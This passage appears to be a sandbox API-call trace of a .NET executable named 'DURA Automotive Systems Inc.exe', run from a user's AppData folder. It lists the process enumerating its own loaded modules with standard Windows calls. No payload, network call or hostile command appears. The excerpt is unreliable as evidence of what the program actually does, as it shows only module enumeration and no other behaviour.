	[0175.088] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x758d0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0175.088] GetLastError () returned 0xcb
	[0175.088] GetModuleInformation (in: hProcess=0x1e8, hModule=0x76ad0000, lpmodinfo=0x25f53b4, cb=0xc | out: lpmodinfo=0x25f53b4*(lpBaseOfDll=0x76ad0000, SizeOfImage=0x100000, EntryPoint=0x76aeb6ed)) returned 1
	[0175.089] GetLastError () returned 0xcb
	[0175.089] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x76ad0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0175.089] GetLastError () returned 0xcb
	[0175.089] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x76ad0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0175.089] GetLastError () returned 0xcb
	[0175.089] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75830000, lpmodinfo=0x25f64b0, cb=0xc | out: lpmodinfo=0x25f64b0*(lpBaseOfDll=0x75830000, SizeOfImage=0xa000, EntryPoint=0x758336a0)) returned 1
	[0175.090] GetLastError () returned 0xcb
	[0175.090] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75830000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0175.090] GetLastError () returned 0xcb
	[0175.090] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75830000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0175.091] GetLastError () returned 0xcb
	[0175.091] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75790000, lpmodinfo=0x25f759c, cb=0xc | out: lpmodinfo=0x25f759c*(lpBaseOfDll=0x75790000, SizeOfImage=0x9d000, EntryPoint=0x757c3fd7)) returned 1
	[0175.091] GetLastError () returned 0xcb
	[0175.091] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75790000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0175.091] GetLastError () returned 0xcb
	[0175.092] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75790000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0175.092] GetLastError () returned 0xcb
	[0175.092] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75730000, lpmodinfo=0x25f8720, cb=0xc | out: lpmodinfo=0x25f8720*(lpBaseOfDll=0x75730000, SizeOfImage=0x60000, EntryPoint=0x7574158f)) returned 1
	[0175.092] GetLastError () returned 0xcb
	[0175.092] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75730000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0175.093] GetLastError () returned 0xcb
	[0175.093] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75730000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0175.093] GetLastError () returned 0xcb
	[0175.093] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74df0000, lpmodinfo=0x25f9814, cb=0xc | out: lpmodinfo=0x25f9814*(lpBaseOfDll=0x74df0000, SizeOfImage=0xcc000, EntryPoint=0x74df168b)) returned 1
	[0175.094] GetLastError () returned 0xcb
	[0175.094] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74df0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0175.094] GetLastError () returned 0xcb
	[0175.094] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74df0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0175.095] GetLastError () returned 0xcb
	[0175.095] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74740000, lpmodinfo=0x25fa908, cb=0xc | out: lpmodinfo=0x25fa908*(lpBaseOfDll=0x74740000, SizeOfImage=0x5ab000, EntryPoint=0x74793dc0)) returned 1
	[0175.095] GetLastError () returned 0xcb
	[0175.095] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74740000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0175.096] GetLastError () returned 0xcb
	[0175.096] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74740000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0175.096] GetLastError () returned 0xcb
	[0175.096] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74670000, lpmodinfo=0x25fba40, cb=0xc | out: lpmodinfo=0x25fba40*(lpBaseOfDll=0x74670000, SizeOfImage=0x9b000, EntryPoint=0x7467232b)) returned 1
	[0175.097] GetLastError () returned 0xcb
	[0175.097] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74670000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0175.097] GetLastError () returned 0xcb
	[0175.097] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74670000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0175.098] GetLastError () returned 0xcb
	[0175.098] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75b00000, lpmodinfo=0x25fcbd4, cb=0xc | out: lpmodinfo=0x25fcbd4*(lpBaseOfDll=0x75b00000, SizeOfImage=0xc4a000, EntryPoint=0x75b81601)) returned 1
	[0175.098] GetLastError () returned 0xcb
	[0175.098] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75b00000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
	[0175.099] GetLastError () returned 0xcb
	[0175.099] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75b00000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0175.099] GetLastError () returned 0xcb
	[0175.099] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75180000, lpmodinfo=0x25fdcd0, cb=0xc | out: lpmodinfo=0x25fdcd0*(lpBaseOfDll=0x75180000, SizeOfImage=0x15c000, EntryPoint=0x751cba3d)) returned 1
	[0175.100] GetLastError () returned 0xcb
	[0175.100] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75180000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0175.100] GetLastError () returned 0xcb
	[0175.100] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75180000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0175.101] GetLastError () returned 0xcb
	[0175.101] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d20000, lpmodinfo=0x25fedc4, cb=0xc | out: lpmodinfo=0x25fedc4*(lpBaseOfDll=0x74d20000, SizeOfImage=0xb000, EntryPoint=0x74d21992)) returned 1
	[0175.101] GetLastError () returned 0xcb
	[0175.101] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d20000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0175.102] GetLastError () returned 0xcb
	[0175.102] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d20000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0175.102] GetLastError () returned 0xcb
	[0175.102] GetModuleInformation (in: hProcess=0x1e8, hModule=0x72be0000, lpmodinfo=0x25ffec0, cb=0xc | out: lpmodinfo=0x25ffec0*(lpBaseOfDll=0x72be0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
	[0175.102] GetLastError () returned 0xcb
	[0175.102] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x72be0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0175.103] GetLastError () returned 0xcb
	[0175.103] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x72be0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0175.103] GetLastError () returned 0xcb
	[0175.104] GetModuleInformation (in: hProcess=0x1e8, hModule=0x745f0000, lpmodinfo=0x2601058, cb=0xc | out: lpmodinfo=0x2601058*(lpBaseOfDll=0x745f0000, SizeOfImage=0x80000, EntryPoint=0x746037c9)) returned 1
	[0175.104] GetLastError () returned 0xcb
	[0175.104] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x745f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0175.105] GetLastError () returned 0xcb
	[0175.105] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x745f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0175.105] GetLastError () returned 0xcb
	[0175.105] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74450000, lpmodinfo=0x2602154, cb=0xc | out: lpmodinfo=0x2602154*(lpBaseOfDll=0x74450000, SizeOfImage=0x5b000, EntryPoint=0x74494d48)) returned 1
	[0175.106] GetLastError () returned 0xcb
	[0175.106] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74450000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0175.106] GetLastError () returned 0xcb
	[0175.106] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74450000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0175.107] GetLastError () returned 0xcb
	[0175.107] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73cb0000, lpmodinfo=0x260328c, cb=0xc | out: lpmodinfo=0x260328c*(lpBaseOfDll=0x73cb0000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0175.107] GetLastError () returned 0xcb
	[0175.107] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73cb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0175.107] GetLastError () returned 0xcb
	[0175.108] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73cb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0175.108] GetLastError () returned 0xcb
	[0175.108] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73b10000, lpmodinfo=0x2604418, cb=0xc | out: lpmodinfo=0x2604418*(lpBaseOfDll=0x73b10000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0175.108] GetLastError () returned 0xcb
	[0175.108] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73b10000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0175.109] GetLastError () returned 0xcb
	[0175.109] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73b10000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0175.109] GetLastError () returned 0xcb
	[0175.109] GetModuleInformation (in: hProcess=0x1e8, hModule=0x750f0000, lpmodinfo=0x26055fc, cb=0xc | out: lpmodinfo=0x26055fc*(lpBaseOfDll=0x750f0000, SizeOfImage=0x5000, EntryPoint=0x750f1438)) returned 1
	[0175.110] GetLastError () returned 0xcb
	[0175.110] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x750f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0175.111] GetLastError () returned 0xcb
	[0175.111] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x750f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0175.111] GetLastError () returned 0xcb
	[0175.111] CloseHandle (hObject=0x1e8) returned 1
	[0175.111] GetLastError () returned 0xcb
	[0175.116] CoCreateGuid (in: pguid=0x33d1b4 | out: pguid=0x33d1b4*(Data1=0xdd46e47d, Data2=0x198d, Data3=0x475d, Data4=([0]=0x88, [1]=0xf4, [2]=0xbe, [3]=0x56, [4]=0x42, [5]=0x71, [6]=0xd, [7]=0x4f))) returned 0x0
	[0175.125] CoCreateGuid (in: pguid=0x33d718 | out: pguid=0x33d718*(Data1=0xdefe7b1d, Data2=0x75be, Data3=0x4328, Data4=([0]=0x9c, [1]=0xd1, [2]=0xbe, [3]=0x70, [4]=0xe1, [5]=0xc1, [6]=0x6c, [7]=0x27))) returned 0x0
	[0175.134] GetProcAddress (hModule=0x75690000, lpProcName="GetKernelObjectSecurity") returned 0x756a462d
	[0175.150] GetCurrentProcessId () returned 0x530
	[0175.150] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x530) returned 0x1e8
	[0175.150] GetLastError () returned 0xcb
	[0175.150] EnumProcessModules (in: hProcess=0x1e8, lphModule=0x265097c, cb=0x100, lpcbNeeded=0x33dec4 | out: lphModule=0x265097c, lpcbNeeded=0x33dec4) returned 1
	[0175.150] GetLastError () returned 0xcb
	[0175.150] GetModuleInformation (in: hProcess=0x1e8, hModule=0xb0000, lpmodinfo=0x2650abc, cb=0xc | out: lpmodinfo=0x2650abc*(lpBaseOfDll=0xb0000, SizeOfImage=0x40000, EntryPoint=0xe80ce)) returned 1
	[0175.150] GetLastError () returned 0xcb
	[0175.151] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0xb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="DURA Automotive Systems Inc.exe") returned 0x1f
	[0175.151] GetLastError () returned 0xcb
	[0175.151] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0xb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe")) returned 0x5d
	[0175.151] GetLastError () returned 0xcb
	[0175.151] GetModuleInformation (in: hProcess=0x1e8, hModule=0x77230000, lpmodinfo=0x2651c7c, cb=0xc | out: lpmodinfo=0x2651c7c*(lpBaseOfDll=0x77230000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0175.151] GetLastError () returned 0xcb
	[0175.152] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x77230000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
	[0175.152] GetLastError () returned 0xcb
	[0175.152] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x77230000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0175.152] GetLastError () returned 0xcb
	[0175.152] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73910000, lpmodinfo=0x2652d70, cb=0xc | out: lpmodinfo=0x2652d70*(lpBaseOfDll=0x73910000, SizeOfImage=0x4a000, EntryPoint=0x73912e54)) returned 1
	[0175.152] GetLastError () returned 0xcb
	[0175.152] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73910000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0175.152] GetLastError () returned 0xcb
	[0175.152] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73910000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0175.153] GetLastError () returned 0xcb
	[0175.153] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75960000, lpmodinfo=0x2653e6c, cb=0xc | out: lpmodinfo=0x2653e6c*(lpBaseOfDll=0x75960000, SizeOfImage=0x110000, EntryPoint=0x759732d3)) returned 1
	[0175.153] GetLastError () returned 0xcb
	[0175.153] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75960000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0175.153] GetLastError () returned 0xcb
	[0175.153] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75960000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0175.153] GetLastError () returned 0xcb
	[0175.154] GetModuleInformation (in: hProcess=0x1e8, hModule=0x768a0000, lpmodinfo=0x2654f70, cb=0xc | out: lpmodinfo=0x2654f70*(lpBaseOfDll=0x768a0000, SizeOfImage=0x46000, EntryPoint=0x768a7478)) returned 1
	[0175.154] GetLastError () returned 0xcb
	[0175.154] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x768a0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0175.154] GetLastError () returned 0xcb
	[0175.154] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x768a0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0175.154] GetLastError () returned 0xcb
	[0175.154] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75690000, lpmodinfo=0x26560ac, cb=0xc | out: lpmodinfo=0x26560ac*(lpBaseOfDll=0x75690000, SizeOfImage=0xa0000, EntryPoint=0x756a49e5)) returned 1
	[0175.155] GetLastError () returned 0xcb
	[0175.155] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75690000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0175.155] GetLastError () returned 0xcb
	[0175.155] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75690000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0175.155] GetLastError () returned 0xcb
	[0175.155] GetModuleInformation (in: hProcess=0x1e8, hModule=0x755e0000, lpmodinfo=0x26571b0, cb=0xc | out: lpmodinfo=0x26571b0*(lpBaseOfDll=0x755e0000, SizeOfImage=0xac000, EntryPoint=0x755ea472)) returned 1
	[0175.155] GetLastError () returned 0xcb
	[0175.155] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x755e0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0175.156] GetLastError () returned 0xcb
	[0175.156] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x755e0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0175.156] GetLastError () returned 0xcb
	[0175.156] GetModuleInformation (in: hProcess=0x1e8, hModule=0x767f0000, lpmodinfo=0x26582ac, cb=0xc | out: lpmodinfo=0x26582ac*(lpBaseOfDll=0x767f0000, SizeOfImage=0x19000, EntryPoint=0x767f4975)) returned 1
	[0175.156] GetLastError () returned 0xcb
	[0175.156] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x767f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0175.157] GetLastError () returned 0xcb
	[0175.157] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x767f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0175.157] GetLastError () returned 0xcb
	[0175.157] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74ec0000, lpmodinfo=0x26593a8, cb=0xc | out: lpmodinfo=0x26593a8*(lpBaseOfDll=0x74ec0000, SizeOfImage=0xf0000, EntryPoint=0x74ed0569)) returned 1
	[0175.158] GetLastError () returned 0xcb
	[0175.158] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74ec0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0175.158] GetLastError () returned 0xcb
	[0175.158] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74ec0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0175.158] GetLastError () returned 0xcb
	[0175.158] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d90000, lpmodinfo=0x265a4f4, cb=0xc | out: lpmodinfo=0x265a4f4*(lpBaseOfDll=0x74d90000, SizeOfImage=0x60000, EntryPoint=0x74daa3b3)) returned 1
	[0175.159] GetLastError () returned 0xcb
	[0175.159] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d90000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0175.159] GetLastError () returned 0xcb
	[0175.159] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d90000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0175.159] GetLastError () returned 0xcb
	[0175.159] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d80000, lpmodinfo=0x265b5f0, cb=0xc | out: lpmodinfo=0x265b5f0*(lpBaseOfDll=0x74d80000, SizeOfImage=0xc000, EntryPoint=0x74d810e1)) returned 1
	[0175.160] GetLastError () returned 0xcb
	[0175.160] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d80000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0175.160] GetLastError () returned 0xcb
	[0175.160] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d80000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0175.160] GetLastError () returned 0xcb
	[0175.160] GetModuleInformation (in: hProcess=0x1e8, hModule=0x736f0000, lpmodinfo=0x265c6f4, cb=0xc | out: lpmodinfo=0x265c6f4*(lpBaseOfDll=0x736f0000, SizeOfImage=0x7a000, EntryPoint=0x736f1f48)) returned 1
	[0175.161] GetLastError () returned 0xcb
	[0175.161] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x736f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0175.161] GetLastError () returned 0xcb
	[0175.161] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x736f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0175.161] GetLastError () returned 0xcb
	[0175.161] GetModuleInformation (in: hProcess=0x1e8, hModule=0x76bd0000, lpmodinfo=0x265d82c, cb=0xc | out: lpmodinfo=0x265d82c*(lpBaseOfDll=0x76bd0000, SizeOfImage=0x57000, EntryPoint=0x76be9ba6)) returned 1
	[0175.162] GetLastError () returned 0xcb
	[0175.162] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x76bd0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0175.162] GetLastError () returned 0xcb
	[0175.162] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x76bd0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0175.163] GetLastError () returned 0xcb
	[0175.163] GetModuleInformation (in: hProcess=0x1e8, hModule=0x758d0000, lpmodinfo=0x265e928, cb=0xc | out: lpmodinfo=0x265e928*(lpBaseOfDll=0x758d0000, SizeOfImage=0x90000, EntryPoint=0x758e6343)) returned 1
	[0175.163] GetLastError () returned 0xcb
	[0175.163] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x758d0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0175.163] GetLastError () returned 0xcb
	[0175.163] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x758d0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0175.164] GetLastError () returned 0xcb
	[0175.164] GetModuleInformation (in: hProcess=0x1e8, hModule=0x76ad0000, lpmodinfo=0x265fa1c, cb=0xc | out: lpmodinfo=0x265fa1c*(lpBaseOfDll=0x76ad0000, SizeOfImage=0x100000, EntryPoint=0x76aeb6ed)) returned 1
	[0175.164] GetLastError () returned 0xcb
	[0175.164] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x76ad0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0175.165] GetLastError () returned 0xcb
	[0175.165] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x76ad0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0175.165] GetLastError () returned 0xcb
	[0175.165] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75830000, lpmodinfo=0x2660b18, cb=0xc | out: lpmodinfo=0x2660b18*(lpBaseOfDll=0x75830000, SizeOfImage=0xa000, EntryPoint=0x758336a0)) returned 1
	[0175.165] GetLastError () returned 0xcb
	[0175.165] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75830000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0175.166] GetLastError () returned 0xcb
	[0175.169] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75830000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0175.169] GetLastError () returned 0xcb
	[0175.169] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75790000, lpmodinfo=0x2661c04, cb=0xc | out: lpmodinfo=0x2661c04*(lpBaseOfDll=0x75790000, SizeOfImage=0x9d000, EntryPoint=0x757c3fd7)) returned 1
	[0175.169] GetLastError () returned 0xcb
